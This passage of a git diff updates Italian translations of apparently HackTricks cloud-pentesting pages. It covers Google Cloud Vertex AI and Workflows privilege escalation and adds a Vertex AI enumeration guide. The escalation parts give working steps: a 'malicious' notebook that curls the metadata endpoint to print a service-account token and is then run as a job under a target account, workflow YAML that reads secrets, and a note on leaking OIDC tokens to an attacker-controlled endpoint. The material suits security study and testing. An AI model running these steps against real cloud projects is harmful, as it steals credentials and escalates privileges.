||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"source": [
|
||||
"import subprocess\n",
|
||||
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
|
||||
"print(token.decode())"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {},
|
||||
"nbformat": 4
|
||||
}
|
||||
EOF
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esegui il notebook con l'account di servizio di destinazione</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
REGION="us-central1"
|
||||
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
|
||||
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
|
||||
-d '{
|
||||
"displayName": "data-analysis-job",
|
||||
"gcsNotebookSource": {
|
||||
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
|
||||
},
|
||||
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
|
||||
"serviceAccount": "'${TARGET_SA}'",
|
||||
"executionTimeout": "3600s"
|
||||
}'
|
||||
|
||||
# Monitor job for token in output
|
||||
# Notebooks execute with the specified service account's permissions
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+23
-11
@@ -12,11 +12,13 @@ Informazioni di base:
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
A quanto ne so, non è possibile ottenere una shell con accesso all'endpoint dei metadati contenente le credenziali del SA attaccato a un Workflow. Tuttavia, è possibile abusare dei permessi del SA aggiungendo le azioni da eseguire all'interno del Workflow.
|
||||
Per quanto ne so non è possibile ottenere una shell con accesso all'endpoint metadata contenente le credenziali della SA assegnata a un Workflow. Tuttavia, è possibile abusare delle autorizzazioni della SA aggiungendo le azioni da eseguire all'interno del Workflow.
|
||||
|
||||
È possibile trovare la documentazione dei connettori. Ad esempio, questa è la [**pagina del connettore Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Nella barra laterale è possibile trovare diversi altri connettori.
|
||||
È possibile trovare la documentazione dei connettori. Per esempio, questa è la [**pagina del connettore Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Nella barra laterale si possono trovare diversi altri connettori.
|
||||
|
||||
E qui puoi trovare un esempio di un connettore che stampa un segreto:
|
||||
|
||||
<details><summary>Configurazione YAML del Workflow per accedere ai segreti</summary>
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
@@ -31,16 +33,20 @@ result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
</details>
|
||||
|
||||
Aggiornamento dalla CLI:
|
||||
|
||||
<details><summary>Distribuire ed eseguire i workflow dalla CLI</summary>
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
Se ricevi un errore come `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, **aspetta un minuto e riprova**.
|
||||
Se ricevi un errore come `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, semplicemente **aspetta un minuto e riprova**.
|
||||
|
||||
Se non hai accesso al web, è possibile attivare e vedere l'esecuzione di un Workflow con:
|
||||
Se non hai accesso web, è possibile attivare e vedere l'esecuzione di un Workflow con:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Puoi anche controllare l'output delle esecuzioni precedenti per cercare informazioni sensibili
|
||||
|
||||
Nota che anche se ricevi un errore come `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` perché non hai quel permesso, il workflow è stato generato.
|
||||
Nota che anche se ricevi un errore come `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` perché non hai quell'autorizzazione, il workflow è stato generato.
|
||||
|
||||
### Leak OIDC token (e OAuth?)
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
Secondo [**la documentazione**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) è possibile utilizzare i passaggi del workflow che invieranno una richiesta HTTP con il token OAuth o OIDC. Tuttavia, proprio come nel caso di [Cloud Scheduler](gcp-cloudscheduler-privesc.md), la richiesta HTTP con il token Oauth deve essere destinata all'host `.googleapis.com`.
|
||||
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Pertanto, è **possibile leakare il token OIDC indicando un endpoint HTTP** controllato dall'utente, ma per leakare il **token OAuth** avresti **bisogno di un bypass** per quella protezione. Tuttavia, sei ancora in grado di **contattare qualsiasi API GCP per eseguire azioni per conto del SA** utilizzando sia connettori che richieste HTTP con il token OAuth.
|
||||
> Pertanto, è **possibile effettuare un leak del token OIDC indicando un endpoint HTTP** controllato dall'utente, ma per effettuare il leak del **OAuth** token avresti **bisogno di un bypass** per quella protezione. Tuttavia, puoi comunque **contattare qualsiasi GCP api per eseguire azioni per conto del SA** usando sia i connettori sia richieste HTTP con il token OAuth.
|
||||
|
||||
#### Oauth
|
||||
|
||||
<details><summary>Workflow HTTP request with OAuth token</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
@@ -76,7 +86,9 @@ auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
#### OIDC
|
||||
</details>#### OIDC
|
||||
|
||||
<details><summary>Richiesta HTTP del workflow con token OIDC</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
@@ -90,8 +102,8 @@ auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
### `workflows.workflows.update` ...
|
||||
</details>### `workflows.workflows.update` ...
|
||||
|
||||
Con questo permesso, invece di `workflows.workflows.create`, è possibile aggiornare un workflow già esistente ed eseguire gli stessi attacchi.
|
||||
Con questo permesso, invece di `workflows.workflows.create`, è possibile aggiornare un workflow già esistente ed eseguire gli stessi attacks.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - Vertex AI Enumerazione
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) è la **piattaforma unificata di machine learning** di Google Cloud per costruire, distribuire e gestire modelli AI su larga scala. Combina vari servizi AI e ML in un'unica piattaforma integrata, permettendo a data scientist e ingegneri ML di:
|
||||
|
||||
- **Addestrare modelli personalizzati** usando AutoML o custom training
|
||||
- **Distribuire modelli** su endpoint scalabili per predizioni
|
||||
- **Gestire il ciclo di vita ML** dalla sperimentazione alla produzione
|
||||
- **Accedere a modelli pre-addestrati** da Model Garden
|
||||
- **Monitorare e ottimizzare** le prestazioni dei modelli
|
||||
|
||||
### Componenti chiave
|
||||
|
||||
#### Models
|
||||
|
||||
I **modelli** di Vertex AI rappresentano modelli di machine learning addestrati che possono essere distribuiti su endpoint per fornire predizioni. I modelli possono essere:
|
||||
|
||||
- **Uploaded** da custom containers o model artifacts
|
||||
- Creati tramite **AutoML** training
|
||||
- Importati da **Model Garden** (modelli pre-addestrati)
|
||||
- **Versioned** con più versioni per modello
|
||||
|
||||
Ogni modello ha metadati inclusi il framework, il container image URI, la posizione degli artifact e la configurazione di serving.
|
||||
|
||||
#### Endpoints
|
||||
|
||||
Gli **endpoints** sono risorse che ospitano modelli distribuiti e forniscono predizioni in tempo reale. Caratteristiche principali:
|
||||
|
||||
- Possono ospitare **più modelli distribuiti** (con traffic splitting)
|
||||
- Forniscono **HTTPS endpoints** per predizioni in real-time
|
||||
- Supportano **autoscaling** basato sul traffico
|
||||
- Possono usare accesso **privato** o **pubblico**
|
||||
- Supportano **A/B testing** tramite traffic splitting
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
I **Custom jobs** permettono di eseguire codice di training personalizzato usando i propri container o pacchetti Python. Le funzionalità includono:
|
||||
|
||||
- Supporto per **distributed training** con più worker pool
|
||||
- Tipi di macchina e **acceleratori** (GPU/TPU) configurabili
|
||||
- Allegato di **service account** per accedere ad altre risorse GCP
|
||||
- Integrazione con **Vertex AI Tensorboard** per la visualizzazione
|
||||
- Opzioni di **VPC connectivity**
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
Questi job cercano automaticamente gli **iperparametri ottimali** eseguendo molteplici trial di training con diverse combinazioni di parametri.
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden** fornisce accesso a:
|
||||
|
||||
- Modelli Google pre-addestrati
|
||||
- Modelli open-source (incluso Hugging Face)
|
||||
- Modelli di terze parti
|
||||
- Capacità di deployment con un clic
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
I **Tensorboards** forniscono visualizzazione e monitoraggio per esperimenti ML, tracciando metriche, grafi dei modelli e progresso del training.
|
||||
|
||||
### Account di servizio e permessi
|
||||
|
||||
Per impostazione predefinita, i servizi di Vertex AI utilizzano l'account di servizio predefinito di Compute Engine (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), che ha permessi Editor sul progetto. Tuttavia, puoi specificare service account personalizzati quando:
|
||||
|
||||
- Crei custom jobs
|
||||
- Uploadi modelli
|
||||
- Distribuisci modelli su endpoint
|
||||
|
||||
Questo account di servizio viene usato per:
|
||||
- Accedere ai dati di training in Cloud Storage
|
||||
- Scrivere log su Cloud Logging
|
||||
- Accedere ai secret da Secret Manager
|
||||
- Interagire con altri servizi GCP
|
||||
|
||||
### Archiviazione dati
|
||||
|
||||
- Gli **artifact dei modelli** sono archiviati in bucket di **Cloud Storage**
|
||||
- I **dati di training** tipicamente risiedono in **Cloud Storage** o **BigQuery**
|
||||
- Le **immagini dei container** sono archiviate in **Artifact Registry** o **Container Registry**
|
||||
- I **log** sono inviati a **Cloud Logging**
|
||||
- Le **metriche** sono inviate a **Cloud Monitoring**
|
||||
|
||||
### Crittografia
|
||||
|
||||
Per impostazione predefinita, Vertex AI utilizza **chiavi di crittografia gestite da Google**. Puoi anche configurare:
|
||||
|
||||
- **Customer-managed encryption keys (CMEK)** da **Cloud KMS**
|
||||
- La crittografia si applica ad artifact dei modelli, dati di training e endpoint
|
||||
|
||||
### Networking
|
||||
|
||||
Le risorse di Vertex AI possono essere configurate per:
|
||||
|
||||
- **Accesso pubblico a Internet** (predefinito)
|
||||
- **VPC peering** per accesso privato
|
||||
- **Private Service Connect** per connettività sicura
|
||||
- Supporto **Shared VPC**
|
||||
|
||||
### Enumerazione
|
||||
```bash
|
||||
# List models
|
||||
gcloud ai models list --region=<region>
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# List endpoints
|
||||
gcloud ai endpoints list --region=<region>
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# List custom jobs
|
||||
gcloud ai custom-jobs list --region=<region>
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Stream logs from a running job
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
# List hyperparameter tuning jobs
|
||||
gcloud ai hp-tuning-jobs list --region=<region>
|
||||
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List model monitoring jobs
|
||||
gcloud ai model-monitoring-jobs list --region=<region>
|
||||
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List Tensorboards
|
||||
gcloud ai tensorboards list --region=<region>
|
||||
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
|
||||
|
||||
# List indexes (for vector search)
|
||||
gcloud ai indexes list --region=<region>
|
||||
gcloud ai indexes describe <index-id> --region=<region>
|
||||
|
||||
# List index endpoints
|
||||
gcloud ai index-endpoints list --region=<region>
|
||||
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
|
||||
|
||||
# Get operations (long-running operations status)
|
||||
gcloud ai operations describe <operation-id> --region=<region>
|
||||
|
||||
# Test endpoint predictions (if you have access)
|
||||
gcloud ai endpoints predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
|
||||
# Make direct predictions (newer API)
|
||||
gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### Raccolta di informazioni sul modello
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
|
||||
# Check specific model version
|
||||
gcloud ai models describe <model-id>@<version> --region=<region>
|
||||
|
||||
# List all versions of a model
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# Get model artifact location (usually a GCS bucket)
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
|
||||
|
||||
# Get container image URI
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
|
||||
```
|
||||
### Dettagli dell'endpoint
|
||||
```bash
|
||||
# Get endpoint details including deployed models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
|
||||
# Get endpoint URL
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
|
||||
|
||||
# Get service account used by endpoint
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
|
||||
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
### Informazioni sul job personalizzato
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Get service account used by job
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
|
||||
|
||||
# Get container image used
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
|
||||
|
||||
# Check environment variables (may contain secrets)
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
|
||||
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### Controllo degli accessi
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Check service account permissions
|
||||
gcloud iam service-accounts get-iam-policy <service-account-email>
|
||||
|
||||
# Check if endpoints allow unauthenticated access
|
||||
# This is controlled by IAM bindings on the endpoint
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### Archiviazione e Artefatti
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
gsutil ls
|
||||
|
||||
# Common artifact locations:
|
||||
# gs://<project>-aiplatform-<region>/
|
||||
# gs://<project>-vertex-ai/
|
||||
# gs://<custom-bucket>/vertex-ai/
|
||||
|
||||
# Download model artifacts if accessible
|
||||
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
|
||||
|
||||
# Check for notebooks in AI Platform Notebooks
|
||||
gcloud notebooks instances list --location=<location>
|
||||
gcloud notebooks instances describe <instance-name> --location=<location>
|
||||
```
|
||||
### Model Garden
|
||||
```bash
|
||||
# List Model Garden endpoints
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
Nella pagina seguente puoi vedere come **abusare dei permessi di Vertex AI per escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user